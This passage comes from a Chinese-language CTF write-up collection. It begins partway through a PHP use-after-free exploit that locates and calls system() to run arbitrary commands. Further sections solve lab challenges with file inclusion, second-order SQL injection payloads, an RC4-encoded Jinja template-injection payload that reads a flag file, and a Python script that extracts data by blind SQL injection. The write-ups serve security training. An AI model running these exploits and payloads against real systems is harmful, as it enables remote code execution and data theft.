$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

image-20240620200423324

之后访问1.php

image-20240620200439923

[网鼎杯 2020 半决赛]AliceWebsite

发现源码

<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>

很快发现文件包含

同时我们发现这里有一个文件包含,上面的代码并没有任何限制,可以利用可控变量action来访问flag

image-20240620190853439

October 2019 Twice SQL Injection

image-20240619215157126

题目告诉了我二次注入,我就先登录进去看看

随便注册

image-20240619215237364

在这一块,输入 ‘ 会被转义,但是我们发现并没有其他的什么特殊限制,所以可以大胆猜测在注册界面二次注入

所以首先,我们尝试一些恶意注册的名字

1' union select database() #

image-20240619215549456

很好,所以之后还是继续爆表

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

image-20240619215634536

猜测在flag中

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

image-20240619215718815

最后爆字段

1' union select flag from flag #

image-20240619215755771

拿到flag

[CISCN2019 华东南赛区]Double Secret

image-20240619213707600

我们首先访问一下screct页面

image-20240619213758089

要我们说secret,猜测是传参数secret

image-20240619213851969

传1进去是d

传参传长一点试试

发现报错,在其中发现源码泄露

image-20240619213957241

File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
Open an interactive python shell in this frame return 'flag detected!'
return a

所以,我们可以发现传进去的参数是被使用rc4解密了,所以我们应该将要传进去的内容进行加密

import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")

rc4加密脚本如上

最后得到

.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

将其上传为secret参数

得到flag

image-20240619214531334

[网鼎杯2018]Unfinish

image-20240617193917708

sql注入是这样的

看了一眼登录界面,什么也没有

放心了

肯定是有注册页面

register.php

image-20240617194105969

先随便注册一个

image-20240617195201465

登录发现回显的用户名

这包的是二次注入的

就是不知道怎么注入

尝试了一下常规注入好像不大行

1'+ascii(substr(database() from 1 for 1))+'0

看了一下大佬的wp

通过ascii码来进行读取

同时使用from for代替逗号

同时过滤了information

所以表名只能靠猜,所以猜测是flag

回到题目

这样的注入是因为在一开始尝试了

ascii(substr(database() from 1 for 1))

发现回显的是字符串所以猜测将上传的username两边加了引号

payload则是为了闭合引号

所以写脚本爆flag

import requests
import logging
import re
from time import sleep

# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)

def search():
flag = ''
url = 'http://fd61fced-c80d-4436-aa4e-b3aa75cf7fae.node5.buuoj.cn:81/'
url1 = url+'register.php'
url2 = url+'login.php'
for i in range(100):
sleep(0.3)#不加sleep就429了QAQ
data1 = {"email" : "1234{}@123.com".format(i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password" : "123"}
data2 = {"email" : "1234{}@123.com".format(i), "password" : "123"}
r1 = requests.post(url1, data=data1)
r2 = requests.post(url2, data=data2)
res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
res1 = re.search(r'\d+', res.group())
flag = flag+chr(int(res1.group()))
print(flag)
print("final:"+flag)

if __name__ == '__main__':
search()

得到flag

0%